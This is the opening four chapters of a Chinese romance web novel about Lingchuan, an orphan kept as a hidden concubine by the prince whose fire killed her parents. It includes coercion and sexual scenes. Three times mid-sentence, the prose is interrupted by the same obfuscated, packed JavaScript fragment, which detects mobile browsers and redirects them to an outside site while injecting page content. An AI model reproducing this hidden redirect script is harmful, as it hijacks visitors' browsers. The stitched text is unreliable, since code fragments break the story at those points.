《吞金眠花》 1. 第 1 章 乞丐在路边谄媚地端过一碗稀粥,咕噜咕噜地喝下肚里去, “王爷真是个大善人呐!若是没有王爷,我早就饿死路边碍贵人们的眼了!” 那施粥的小厮高抬下巴,斜眼看着乞丐,冷笑一声道, “知道感念王爷心善就好。” 那乞丐对着小厮一顿溜须拍马,小厮也未免飘飘然,吹嘘起来。 “我们王爷真是温文儒雅,翩翩君子,不仅心善,最体恤民情,也喜与民同乐。七年前,王爷去一酒家,却意外失火,全家人只剩下一孤女,生得貌美非凡。” “王爷可是纳了那孤女为妾?” 听到貌美非凡的孤女,老乞丐顿时两眼发光,垂涎起来。 “哼,婚前纳妾那是坏了门风,我们王爷不仅心善,还很重操守,只将那姑娘认作义妹,绫罗绸缎地供起来,给她花的银两比喝下去的水都多。” “嘿嘿……不过,我偶然见过那姑娘一次,那模样……嘿!真不愧是白花花的银子供出来的!” 一小厮一乞丐相视,嘿嘿一笑。 “你说这孤男寡女的……会不会?” 老乞丐露出猥琐的笑容。 “可不敢瞎说。” 小厮瞬间变了脸色,打道回府了。 王府内,卧房里,几叠鸳衾红浪皱,泠川上半身戴着一个沉甸甸的七宝璎珞圈,砗磲和珍珠一颤一颤。 顾时嫌碍事,将她璎珞圈上的珍珠抚到一边。 他自认是十分克制的君子,只是见了泠川,才一错再错,酿成一桩荒唐事。 “泠川,求我。” 她变成了一根被拉到极致的弓弦,早已被冲昏头脑,晕着脑袋把他想听的话尽数说了,又求饶索要数次,顾时才饶过她。 一面明晃晃的西洋镜正对着床,默默映出许多阴私之事。 卧室里全是脂粉皮肉气,泠川的脖子上挂着正经八经的璎珞,一件浅藕荷色的薄纱肚兜挂在璎珞上。 镜子里映出一个气喘喘的美人,珠光宝气地装点起来,又金屋藏娇一般收在房中。 咔嚓一声—— 泠川将茶盏掷到西洋镜上,西洋镜却纹丝不动,官窑的茶盏碎成两半。 顾时不耐烦地捏着她的下巴, “好吃好喝供着,你又发什么脾气?又看上什么首饰了?” 他纳闷莫非是自己今日没哄好她,也对,常见的式样他们已经尽数玩过了。 可泠川生了那镜子的闷气,怎么哄也不愿说话。 他对她越来越没了耐心,索性把丫鬟金盏叫进来,伺候泠川更衣回房。 金盏模样一般,年岁大了些,嘴很严,对二人的私事一味地装聋作哑,即使是私下场合,也绝不和泠川提起半个字。 泠川沐浴后懒散散地躺在床上,任由金盏在她身上涂抹奢侈的玫瑰果油。 “姑娘脚腕上有个烫伤的疤,什么膏药都用过了,就是去不掉。” “一个疤而已……跟你又有什么干系?” 泠川嘟囔着翻了个身,身上的精油蹭了满床。 那是那夜的大火留下的伤疤,泠川不希望它消失。 她躲着金盏,偷偷地把疤上的膏药擦掉了。 “哎,小姐,先别翻身,您翻个身,我们这些当奴才的还得换洗褥单。” 金盏抱怨道,又拿来一盏热腾腾的汤药。 “小姐,您身子不好,快把汤药喝了吧。” 泠川忽然坐起来,发起了脾气,直接把汤药打翻在茵毯上。 “我不喝汤药!我身子骨好得很!都是顾时故意要让我习惯喝汤汤水水的东西,好从中做手脚害死我!” 金盏赶紧去捂住泠川的嘴, “姑娘,有些话说不得……诶呦,你怎么咬我!我要去找王爷!” 金盏头也不回地跑去跟王爷告状,泠川深知府中都是王爷的眼线,她名义上是义妹,实际上连个正经姨娘都不如。 金盏自然也是王爷派来盯梢的。 泠川笨手笨脚地,把复杂的华服穿得规规整整,打开抽屉。 里面是一本《莺儿传》,这样的书是万万不可出现在未出阁姑娘的闺房里的,更别说里面还夹着两张活色生香的春宫。 顾时也派人教她学过几个字,待她学会了便寻这样的书来给她看。 看见那春宫,泠川觉得恶心,拿蜡烛一把火烧了,丢在茵毯上。 那茵毯不过一会儿便烧得只剩一团金线。 “方才还好好的,你闹什么?玩什么火?” 王爷皱着眉头走了进来。 “罢了,这茵毯也不是什么稀罕物,你烧便烧了,只是汤药可不能不喝。” 泠川冷冷道, “我没病。” 顾时把她拉到自己腿上坐着,搂着腰,贴在她耳边小声说, “你也知道那是避子药,若是不好好吃,恐怕你自己最吃亏。” 泠川冷笑, “呵,到时候我便把你的种生在朝堂上,一尸两命,让别人看看你家的丑事。” 顾时瞬间收紧了手上的力道,掐得她抖了一下,但她咬紧牙关忍着不叫出声来。 “我命人再去给你熬了一碗,我看着你喝下去。” 没过一会儿,金盏便低头哈腰,高高捧着一碗汤药进来,根本不抬头看二人的亲密之举。 “王爷给姑娘汤药,是出于兄妹之情而爱护姑娘,也请姑娘体恤王爷,把药喝了吧。” 在王府里久了,金盏练就一种睁眼说瞎话的本事。 泠川还在他腿上跟条活鱼一样折腾来折腾去,顾时便知道她不可能乖乖听话,接过碗,捏着她的下巴,强行把药灌了下去。 “泠川,你也快满二十了,我也该为你的婚事上心,只是今日已晚,明日再议吧。” 金盏看出王爷待她是越来越不耐烦,只是简单伺候她脱了衣服睡下,便吹熄了烛火。 “姑娘,我岁数大了熬不动,便去睡了。” 泠川只躺在床上默默流泪,一夜未眠。 那西洋镜映出的哪里是王爷的妹妹,分明就是个用来取乐的妓子。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310319|182893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她摸了摸自己脚踝上那个小疤。 她父母十分恩爱,共同经营酒家,虽不算大富大贵,但也吃喝不愁。 想起成婚,她想起十岁时一个男孩子用狗尾草给她扎了一个兔子,被母亲揶揄了几句,泠川一言不发地红了脸。 她想起母亲故作俏皮地打父亲两下的样子,又想起父亲给母亲买来最时兴的雪花膏,擦在她的手上,母亲一边叫父亲别买这些,一边又笑盈盈地看着父亲。 十三岁之前,泠川一直以为自己能嫁给那个送她狗尾草的男孩子,成婚后就能顺理成章过上像父母一样的日子。 可是一场大火把她的人生毁了。 顾时……他把她糟践成个四不像的怪物,她当不回那个小酒家的漂亮女儿,也断不是皇亲贵胄,又不至于低到青楼里做妓子,似乎也不算是通房丫鬟。 想起顾时是如何诱骗了她,泠川就恨得牙痒痒。 就算她死,也绝对不让他好过。 第二日清晨,金盏把她叫起来梳洗打扮。 “今日要来一位贵人,刚在殿试中得了二甲进士,因刚得了官职,暂时没足够的银两在京城安置,便来王爷府中暂住,听说也是一表人才。” 金盏把她叫去了书房,泠川也心里有数,大概知道王爷找她是要说什么。 王爷今日没来由地对她客气了起来, “泠川,你也快满二十了,我为你寻了一夫婿,名叫甄斐,中了二甲进士,待会便住进咱们府里,待你们婚后,一切都与过去一样,也不会委屈了你什么。” 见泠川冷着脸,默不作声,只有一动不动的唇上胭脂鲜红刺眼,顾时便继续说道, “你大可放心,我为你准备了一万两银子作嫁妆。” “王爷的意思是,那甄斐缺银两,是为了您那一万两银子的嫁妆才娶我的。” 这不是泠川想要的夫婿……她抿了抿嘴唇,胭脂苦涩的滋味传到牙齿上。 “甄斐只是现在缺银两安置下来,待你们婚后,我也会念着你对他多扶持些,” “我不愿意。” 似乎知道泠川不愿,顾时只是叹了口气,轻轻拍了拍她的肩膀。 “不管怎样,你先见一见他再说吧。” 泠川咬死下唇,牙齿间的苦涩味变成了满口血腥气。 她急匆匆回自己的闺房,把门栓上,谁也不肯见。 两个时辰后,金盏来她门前,发现门打不开,便用力拍门, “姑娘,快开门,那位公子来了。” “那位公子来了又与我何干?” 泠川冷冷道。 “姑娘迟早是要嫁人的,难道还能赖在王爷身边不走不成?依我看,按照姑娘的出身,若无王爷的运作,您是高攀不上像甄公子那样的二甲进士的。” 金盏听屋内只传来泠川乱踢乱砸的声音,便恼了起来,做“主子”的把屋子弄得那般乱,最终都还是她这种下人来收拾。 “姑娘,您可知道王爷与那将军家的贵女已经递了请帖?若是您赖在这不嫁,只会碍了王爷的眼。” 2. 第 2 章 听了金盏这话,泠川不怒反笑,好极了,她要的就是碍顾时的眼。 “您的吃穿用度有时比王爷的还奢侈,花的银两比我这奴才喝的水还多,王爷已经是待您不薄。我劝姑娘别不知好歹,乖乖听王爷的安排,莫要太拿自己当回事了。” 见泠川还是不肯出来,金盏越发生气,泠川闹别扭,王爷只会怪她办事不利。 “姑娘,好姑娘,我的小祖宗,小姑奶奶,求您了出来吧,好歹去见一见,不然王爷要扣我月钱了。” 一通软硬兼施,泠川终于是把门打开,两个眼圈红红的。 “金盏,对不起,我也不想让你为难。” 其实……泠川讨人喜欢的时候也挺可爱的…… 见到她这个楚楚可怜的样子,金盏也有些心软,便打了温水把她面庞擦洗干净,重新用青雀头黛给她画了细弯弯的眉,又好声好语哄了几句。 “姑娘的唇都咬得出血了。” 她给她涂了滋润的蜜蜡甲煎口脂,继续劝道, “您好歹得去见一见,给王爷一个面子。若是不满意,再同王爷提出来,换个满意的夫婿便是了。” “姑娘生得貌美非凡,不管是得了哪个夫婿,都会把您捧成掌上明珠的。” 泠川小声抽了抽鼻子,她知道金盏无非是说些哄她玩的假话。 像她这样的女子,怎么可能得到满意的夫婿?无非都是为了她的嫁妆上赶着忍辱。 可她心底还有一点点幼小希冀,这个世间还有没有一点微弱的可能,遇到一位真的愿意心疼她的良人? “好吧,我答应去见一见。” 万一他真的是那良人,她会拼尽浑身力气去抓住唯一一根救命稻草。 一个绫罗绸缎,异色珠宝堆出来的美人缓缓走入轩阁之中,只微微对主位上的王爷欠一欠身。 顾时倒也不指望泠川的礼数能有多周全,她今日能来就不错了。 甄斐被她的美貌刺伤了眼,想用力睁开眼睛去看一看她,却做不到,咬咬牙,低下了头。 她再美又能怎样,跟他有什么关系? 无非是王爷看他没有背景,出身低微好拿捏,才假意把自己玩腻了的粉头嫁给他,婚后能否对她有肌肤之亲都未必。 他还得对这个小粉头和王爷的荒唐事睁一只眼闭一只眼呢…… 甄斐毕恭毕敬地对着王爷恭维了几句, “感谢王爷不嫌甄斐出身低微,愿意提携甄斐……若是没有王爷,甄斐在京城根本站不住脚。” 王爷待他始终是不冷不热的态度。 平心而论,顾时远不算一位刁钻刻薄难伺候的主子,他待人几乎都留三分面子,也会体恤他人,待甄斐也算客气。 甄斐知道,能得到这样的提携实属不易,这是个千载难逢的机会,但他内心还是不甘心娶个贵人玩腻了的粉头。 村里一百年来只有他进了殿试,做了大官,他埋头苦读那样多年,本以为进了京,做了大官,就能在官家小姐里随便挑,真没想到沦落到捡个残花败柳当正妻的下场。 他娘亲岁数大了不容易,泠川浑身的皮肉那样娇气,肯定没法伺候他娘。 甄斐努力收起眼底的嫌恶,对着泠川露出一个亲切的笑容。 “泠川姑娘,可愿意与我去戏班子一起看戏么?” 甄斐不知,泠川天性敏感,早就把他对权贵谄媚,对自己嫌恶的样子看在了眼里。 她只勾一勾嘴角, “不愿。” 甄斐瞬间变了脸色,这个被玩烂了的粉头,还有人愿意娶回去当正妻就不错了,竟然还敢嫌他。 “姑娘可是嫌我出身低微,一穷二白么?” 他心想,还是先把她的嫁妆骗到手最要紧,待自己在朝中站稳了根基,再神不知鬼不觉把她处理掉。 泠川点了点头,微笑道, “正是,我天性虚荣,又娇生惯养,花钱如流水,要嫁就要嫁世间最好的男儿。你出身贫寒,恐怕是不懂春天要喝时令的明前龙井,夏天要吃八百里加急的荔枝,我若是嫁到你家,恐怕出不了半年便要玉减香消,美貌不复了。” 泠川把甄斐噎得说不出话,他脸色青一阵白一阵,揪着她的年龄口不择言起来, “泠川姑娘马上二十了都未嫁,现在是风华正茂,恐怕过几年也要玉减香消的。” 王爷脸色一沉, “泠川,莫要闹了,嫁人后收一收你的性子,可不能像未出阁的姑娘一样骄纵。” 泠川懒得听顾时假模假式地摆谱教训她,起身便走。 她起身要走,金盏也不敢拦着,只好小心伺候。 “姑娘可是没看上那甄斐公子?” “什么看上看不上的,王爷的面子我给过了,其余的你也别再打听了。” 泠川径直走进王爷的房内,把金盏撵回去,把衣衫解了,躺在王爷床上。 他刚和衣要睡下,往床上一摸,只摸到一片细软的腰肢。 泠川拽着他的胳膊,躺在他腿上,像一只娇软贵气的长毛猫。 “顾时,我就非得嫁给他不可吗?” 她的语气带着娇嗔。 他摸了摸她的头发, “我也舍不得你,可能也没办法,你迟早是要嫁人的。” 泠川猛地坐起来,闹起了别扭, “他又没看上我,我为什么要嫁给他?我一看就知道,他就是图你的钱。” 他把她搂在怀里,一只手熟练地伸入她的衣领, “若不是搭上银两,哪有正经公子会愿意娶你做正妻呢?” 他把她慢慢压在柔软的床上,很温柔地吻着她的嘴唇。 泠川主动爬他床的时候并不多,他估计她也是在为婚事心慌,才主动来讨好他。 今夜,顾时比往常更照顾她的感受,泠川也乖乖地跟着他,他觉得泠川不闹脾气的时候也挺可爱,亲了亲她的额头。 做完了,泠川就穿上衣服回去,从不留着过夜。 他看着她的背影,心想真不知道跟她一起起床是什么感觉。 不过他也没那个必要知道。 泠川独自回房,深知自己的未来没有指望,顾时对她更是冷血,无半分情意。 即使是她满处去宣扬顾时跟她的荒唐事,对他的名节也毫无损伤。 承担流言蜚语和祸水名头的,从来也只有她自己一个。 她冷笑,大不了便穿着红嫁衣在他屋子里吊死,死了都要化身厉鬼纠缠顾时,叫他无一日安生。 泠川半夜点着蜡烛照镜子,铜镜内的她面目模糊,还真的有几分像妖异女鬼。 若是她用尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310320|182893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心思勾引顾时,他会娶她做妻子吗? 也许可以,也许不行,但泠川不想继续自取其辱 那句要嫁便嫁天下最好的男儿并不是谎话,若是没有良人,她索性吊死算了。 天亮之后,泠川想出去走走,却被金盏堵在屋子里。 “金盏姐姐,怎么昨日我不想出屋,您生拉硬拽也把我拽起来,今日我要出去走走,您反而不让了?” 泠川皱着眉头。 “今日太阳毒,怕把姑娘的皮肉晒坏了。” 泠川想推开金盏,却被她死死按住。 泠川冷笑道, “哟,今日是来了几位太阳?毒成这样?我是见不得了?” 金盏叹了口气,知道自己越发瞒不过泠川的眼睛。 泠川这几年越发敏锐尖利了,且不懂藏拙,怪不得王爷越来越容不下她。 “是将军家的贵女,杨若云姑娘今日要来,请姑娘避一避吧。” “怎的是姑娘要来,不应该是王爷主动去见吗?让姑娘家白白的跑一趟,算什么样子?” 泠川翻了个白眼。 “金盏,你放心我绝不会坏了王爷的好事,我只把窗户戳个洞,看看那姑娘长什么样。” “姑娘不要淘气了,那姑娘其实生得没有您好看,只是身份尊贵。” 金盏嘴上劝阻几句,身体倒是很诚实,知道拗不过泠川,给她找了个视野最好的地方,让她悄悄看,别出声。 泠川侧着脸,只见一个穿着圆领袍的公子——不,是个穿男装的姑娘,骑着高头大马,大摇大摆地进来。 那姑娘不过大概其有个美人模样,肩膀比别的姑娘要宽上一圈。 “王爷在哪?本姑娘今日就要见上一见。” 姑娘声如洪钟,底气十足。 泠川的内心难免有了嫉羡之意。 她像一棵扎根大地的树,美得肆意昂扬,经得起风霜雨露。 她被养成了一棵病歪歪的漂亮盆栽,捆上绫罗绸缎,关在黄金笼子里,终日不见太阳。 只见顾时笑意盈盈地走过去,客客气气地扶她下马。 杨若云利利索索地一翻身, “用不着你扶,本姑娘自己会下来。” 一朵梨花斜斜的飞入她的鬓边,给她增了三分娇憨之色。 王爷笑吟吟地伸手帮她把梨花拂下,若云姑娘的脸红了一红。 此情此景甚是美好。 她想自己刚进王府时,那日自己也是落了满头的白梨花。 顾时一边拂去她头上的花瓣,一边打趣说她急着要同他一起白头了。 可泠川忽然觉得腹中一阵恶心,直接扶着墙边干呕了起来。 金盏的脸色白了一白,默默祈祷不要出事,赶紧去扶泠川。 “姑娘的月事是什么时候?” “无所谓,你别管我了。” “姑娘,这可不是小事啊……您可得及时跟我说才行。” 她直起腰,反问金盏, “你大声说出来,我到底是出什么事了?让大家都听一听,最好也让我那未来的夫婿听听。” 无非是许多的爱落空,又生出许多的恨意来,把泠川折磨得人不人鬼不鬼。 自己在一年前怎会觉得王爷真能同她白头偕老呢?泠川都不敢信。 3. 第 3 章 被她咄咄逼人地反问了一通,金盏也偃旗息鼓,讷讷地不做声了。 泠川转过身, “没意思,不看了,横竖也跟我没关系。” 也许她与顾时,年少时也有几分朦胧的好意,但都已经烟消云散,化作蚀骨的恨意。 想起那若云姑娘耳边的梨花,泠川没来由地觉得惋惜。 顾时会真的爱上若云姑娘吗? 她还不知道,他真心爱一个人是什么样的。 金盏紧跟着她回到房里,把门锁死了,严肃地问, “姑娘,你的月事多久没来了?” 泠川翻了个白眼, “二十多日前来的,来得少了些,一两日便结束了。我方才呕吐,不过是因为看了顾时装模作样觉得恶心罢了。” 金盏才松了口气,面色红润了起来, “现在王爷正是准备娶妻的时候,姑娘你可千万别生出什么事来。” 泠川冷笑, “哪是我别生出事,是我别……” 金盏捂住她的嘴巴, “姑娘,莫要说了,隔墙有耳。” 她生怕泠川大声喊出来,被外面的若云小姐听见了。 金盏把泠川独自锁在屋子里,自己出去看了一看,发现若云姑娘已经回去,便松了口气。 “姑娘出来吧,那若云姑娘只是来看了一看便回去了。那姑娘是高门贵女,眼光高得很,据说是今天去看了好几个人家的房子合不合心意呢。” 屋子里空空如也,不知何时,泠川悄悄弄坏了锁,偷溜出去了,给金盏气得头上出了一层汗,低声骂道, “我是上辈子造了什么孽,才要伺候这个祖宗。” 此时,泠川已经杀到了王爷的书房里,高声质问道, “你当真要娶那若云小姐吗?” 顾时不抬头,只一味地读些圣贤书。 没得到回应,泠川气得把他的书抢过去,用力摔在地上。 他缓缓抬头,略带不耐烦地看着她, “我是为了她将军之女的身份才娶她,心里最喜欢的还是你。” 即使不耐烦她总是连作带闹,他也轻轻握住她的手,安抚着她。 “真的最喜欢你,不要闹了。” 泠川冷冷道, “你觉得事到如今,我还会信这种话吗?” “我如何就不喜欢你了?若是不喜欢,我便随便给你拉个小厮配了,三两年过去,大家早就忘了王爷府里还有过你这个人。 “若是不喜欢,我何苦给你准备一万两银子做嫁妆,还给你寻个当官的夫婿?我虽然也有过对不起你的地方,但这一万两银子也足够补偿你。” “我不是要娶杨若云,而是目前情况紧急,需要与将军结亲,事关朝政,我也不太好同你说,总而言之得委屈你一阵子,等过了这个关口,我再安排你们和离,把你接回来都行。” 见顾时如此轻描淡写地一笔带过泠川的痛苦,怨毒的想法一下在她心底蔓延开来,她说什么都要报复他。 见泠川还是不开心,顾时便将她抱进怀里,让她坐在自己腿上,亲了亲脸颊。 他知道到头来泠川心底还是喜欢他,不愿意另嫁他人,他也知道那甄斐难堪大用,泠川甚是不喜。 就算是遇上再好的男子,他自信泠川都只会喜欢他一个,他也只喜欢泠川。 “不是不喜欢你,只是我们实在没必要在一起。别害怕,等你出嫁后我还会再去看你的……甄斐在朝中没有背景,需要我提携他,不会管束你。你别欺负他欺负的太过,拿着银两享清福有什么不好?” “他没看上我。” 泠川已经形成了一种软绵绵地歪在顾时怀里,任他亲近的惯性。 她非常讨厌这种惯性,却对此无能为力,只能恨毒了自己。 “大白天跑到书房来找我……泠川,你可真是荒唐了些。” 他只觉得泠川一味地要跟他亲近,伸手捏了捏她的小腿,真没想到她大白天的就跑来向他求欢。 他知道泠川非常非常喜欢他,见到那若云姑娘来,便急得不行了,要重新占有他,把他牢牢攥在手里。 她太爱他反倒给他一种压力,他根本回应不了她那种炽热疯狂的爱,他得尽快把她嫁出去,若是再拖久一点,恐怕又会生出许多变故。 之后,他还会把泠川接回来的,只是得先冷一冷她。 泠川忽然觉得一阵恶心,又产生了那种想要干呕的感觉,匆匆忙逃了出去。 不行,绝对不能让顾时对她起疑心。 寻了个四处无人的地方,泠川才敢干呕几下。 觉得体热犯困,泠川早早歇息,睡到日上三竿才醒。 “顾时呢?” 她迷迷糊糊地犯困,拽住金盏的袖子便问。 “今日将军府上设宴,说是若云姑娘想对适龄男子相看一番,王爷便也去了。那姑娘眼光很高,将军又宠爱,便由着她挑个自己喜欢的。” 泠川忽然看着她笑了,稚气地说, “真好,我爹我娘,从前也是这般宠我。” 金盏心软了几分,给她擦了擦汗,伺候她起来洗漱梳妆。她刚出去拿一壶茶水,回来后泠川就又不见了,气得金盏直跳脚。 她四处寻了,都不见泠川的影子,不知道去了哪里淘气。 金盏一翻白眼,这个小姑奶奶,总不能跑到将军府上去,由着她算了。 王爷都管不住,她一个丫鬟,更是管不了她。 金盏不知道,泠川还真有本事去将军府。 她去假山后面找了相熟的影卫帮忙。 这影卫名叫孟青,比她小两岁,武功高强,几乎是泠川看着长大的,二人情同姐弟。 孟青虽武功高强,可是脑子却不怎么好使,一根筋。性格单纯憨厚,从小被她拿住了把柄,任由她差遣。 “阿青,带姐姐去将军府看看,听说若云姑娘办了相看宴呢,真是好不热闹,我也要去凑凑。” 孟青红了脸, “姐姐,咱们两个又没有请柬,怎能光明正大地进去呢。” “我又没说要光明正大地进去,你只把我抱到房梁上,好好躲起来,悄悄地看上一眼便是了。” 他点了点头。 这孟青做事不过脑子,不细想就利利索索地把事情给办了。 不出一个时辰,泠川已经换了一身黑衣,神不知鬼不觉地出现在将军府的房梁上。 “姐,你不怕高吧?” “不怕。” 泠川嘴上说着不怕,身体却很诚实地扒在孟青的身上。 她确实有些怕高,但这跟死相比又算得了什么? 反正她的前程已经毁完了,再添一件荒唐事也没什么大碍,她不会连累孟青的。 宴会还没开始,王爷便第一个入了席,他是皇室出身,将军见了也要敬他三分。 一群青年男子觥筹交错,彼此攀一攀交情。 甄斐也在此列,他想那将军家的小姐肯定是一位远胜于泠川的美人,若是她能看中他,他便能平步青云了。 说实话,甄斐年轻单纯,不懂人情世故,只模仿了个趋炎附势的壳子,对官场之事并无太多体会,只觉得自己是土窝里飞出来的一只金凤凰,天生要衔将军府里的宝珠。 至于会不会得罪了王爷,就不在他的考虑范围之内了。 杨若云风风火火地迈着大步子走了出来,高声说道, “我挑相公,眼光可不低,不管他是王侯将相,还是一介草莽,都要守本姑娘的规矩。” 她并无妆饰,照样是穿着那件圆领袍,打扮得像个富家公子哥,双眼炯炯有神,器宇轩昂。 怎么看着跟个男人似的……甄斐一下大失所望。 他本以为将军家的女儿顶多就是比娇软美女添一些脾性,可谁知道真是个宽肩窄腰,从小习武的魁梧女子。 “当我的相公要弓马娴熟,不能四体不勤。若是时不时就晕倒,动不动就吐出一口血来,装那个风雅病弱的模样,可就太让人笑话了。” 几位公子没忍住笑出声来,一位动不动就装病弱风流的公子当场红了脸,本想装作晕倒,结果想起若云揶揄他的话来,又站直了身子,连晕都不敢晕了。 若云姑娘爽朗地笑了几声,继续说道, “我相公不能纳妾,不能有通房丫鬟,更不能去逛那窑子青楼。” 甄斐皱了皱眉,一个姑娘家, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310321|182893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把窑子青楼挂在嘴上,未免太不害臊了些,这将军怎的把女儿养成这样。 他昨日才去青楼发泄了一通,可得瞒紧了,不能被人发现。 自己去逛窑子并不是放纵风流,而是事出有因。 被王爷拉去和个粉头做配,平白受辱,他一时气不过才去发泄的,谁知道这竟成污点了……这将军家的贵女可真是难伺候。 “姑娘的要求恐怕刁钻了些吧……” 一个浪荡公子觉得有些挂不住面子。 顾时忽然开口说道, “倒也不算刁钻,这没什么难的。” “不纳妾,不逛青楼,不搞通房丫鬟,不都是最基本的事么?也没那么难做到吧。” 甄斐的脸色白了一白,心想顾时真是不要脸,但转念一想,他说的还都是真话。 顾时一笑,看起来温文尔雅, “我知道有些人在传我和我义妹的闲话,也特地借这个机会澄清一下。” “六年前,我出去游历,顺便在一个小酒家借宿,喝醉了不小心打翻了烛台,烧死了酒家的夫妻,只留下一个孤女,我深感愧疚,将她认作义妹带到身边。如今她也到了出嫁的年纪,我为她备了一万两嫁妆,择一位夫婿呢。” 啪嗒—— 一滴水滴入了他面前的茶杯之中。 那是泠川的泪水。 他却对那滴酒杯里的泪水无知无觉,视而不见。 “王爷真是至纯至善之人,不仅为人宽和,待下人也大度,还时常给穷人施粥。” 一个公子哄捧道, “我敬王爷一杯!” 杨若云似乎对顾时这个解释挺满意,对他投去一个好奇的眼光。 宾客喧闹起来,泠川的哽咽的声音犹如一滴水落入一片海。 “带我……带我回去吧……” 孟青在她耳畔用气声说道, “不行啊,姐姐,现在人多眼杂,容易被发现。” 泠川只得硬着头皮看顾时那虚伪的作态,胃里一阵一阵恶心。 即使她跳下去,摔死在宴席上,也无人会对她有一丁点怜惜。 她不过是一介无依无靠的孤女,怎能毁了王爷大善人的名号呢? 那场大火是因谁而起,至今也没有证据。 但她知道是顾时毁了她的人生,爹娘的血债,也都该加到他的头上。 杨若云爽朗地笑起来, “我喜欢弓马娴熟的,有没有人敢跟我比赛射箭?” 顾时微微一笑, “我也略通一点弓箭,姑娘可愿意指点我一二?” 众人出去围观顾时和杨若云比赛射箭,屋内一下变得空落落的。 “阿青,趁这个机会,我们走吧。” 孟青确实身法利索,路子野,三两下便绕小路,带着她回了王府,悄悄换回了之前的衣服。 泠川身子难受得很,扶着一棵树便干呕。 “你有没有酸的东西?给姐姐拿些来吃。” 他从兜里掏出一块不干不净的酸枣糕,泠川也不嫌,直接吃了。 “姐,你咋看着不舒服呢?那将军府上多热闹,你咋不高兴呢?” “别说了……” 她知道孟青性子憨直,也不跟他多说什么,打马虎眼糊弄过去, “房梁上太高了,我心里怕。” “怕还非得要去……” 孟青小声嘀咕,忽然紧张起来, “有人来了。” 话音刚落,孟青便消失不见。 那来人正是金盏,她把手往裙子上擦了擦,急匆匆地过来,一把抓住泠川, “哎呦喂,我的好姑娘,去哪里啦?您可真是让我好找。” “去庙里头拜了拜。” 泠川随口撒谎。 “哎呦,姑娘,您金枝玉叶地养着,什么都不缺,去庙里都不知道该求什么。” 她一双眸子黑压压的,嘴角挂着嘲讽的笑。 “求子。” 金盏变了变脸色。 “姑娘,这个玩笑可开不得。” 她把泠川拉进屋子里,又把门锁上,紧张地问, “姑娘可是去看过郎中啦?” 4. 第 4 章 泠川心想,干脆将错就错,顺着她的话头说过去便是了,索性点了点头。 “尽管放心,我找郎中看过了,除了有些心肾不交之外,什么事都没有。” 金盏大松了一口气, “那便好了。” 到了夜里,泠川久久睡不下。 杨若云可以在宴席里迈着四方的步子,爽朗地大笑,随便挑一位喜欢的夫婿。 可她却只能在阴沟里,由着怨毒羡嫉在心底蔓延,把自己扭曲成畸形的女妖。 哪怕只有一丁点也好,她想被人爱。 泠川忽然觉得,自己也不无辜。 与其说是不无辜,不如说罪孽尽在她自己的身上,没心没肺地主动同顾时亲近的人是她,那个扭着腰求欢的淫|女也是她。 自打没了爹娘后,泠川便开始自暴自弃,只一味用眼前的欢乐麻痹自己。, 入王府也有小六年,她只剩下一具美艳扭曲的皮囊。 泠川抱紧了被子,夜里浑身都好冷,只有娘亲的怀抱是暖的,她好想再被她娘抱一次。 这被子上缝了金线,又冷又沉,上面没有她娘亲的味道。 她泪眼涟涟,抽泣不停。 “哎,姑娘怎么还没睡?” 金盏想给她掖一掖被子,伸手一摸,却全是她的眼泪。 “姑娘可是在为王爷娶妻的事伤心呢?” 她抱住金盏, “我想我娘了。” 金盏抱着她,内心难免升起几分怜悯,虽说她平时作天作地,可说到底她也是个可怜的没娘娃。 她的身子热乎乎的,但到底也不是她娘……只是这一点温暖,也足够哄泠川骗自己睡下了。 次日,泠川只苍白着脸躺在床上,迟迟不肯梳洗。 她没想到,顾时竟然推门进来看她。 “泠川,我听金盏说你昨晚哭了一整夜,便来看看你。” 他脸上挂着担忧的神色,但实际上听到泠川为他哭一整夜,他心底是有些窃喜的。 顾时要娶妻,泠川本就该为他哭上一哭。 他伸手想去摸她的脸庞,却被她打掉了。 “泠川,即使是互相喜欢,也未必就要结为夫妻,你趁早接受现实吧,也别一味地闹脾气了。” “你不要我了。” 她低着头,看着自己的手指尖。 “我没有……我只是……” “不用解释。你就是不想要我了。” 见泠川独自钻起牛角尖来,顾时也没什么办法,只能叹口气,起身要走。 她真傻,他哪舍得真不要她,所谓婚姻不过就是个纵容人瞎搞的幌子,可她偏偏把这个幌子给当真了。 顾时从小生活在宫中,长于仆妇之手,自然不像泠川对夫妻之间要有感情这件事有种执念。 “顾时,你记住,我只会嫁自己真心喜欢的人,绝不会嫁给甄斐。” 他没回头看她,径直走了,心里有点反感,泠川这话里话外的意思是非他不嫁了。 他都为她考虑到了这个地步,她还偏生缠着他不放,非得要他娶她,可真是不懂事。 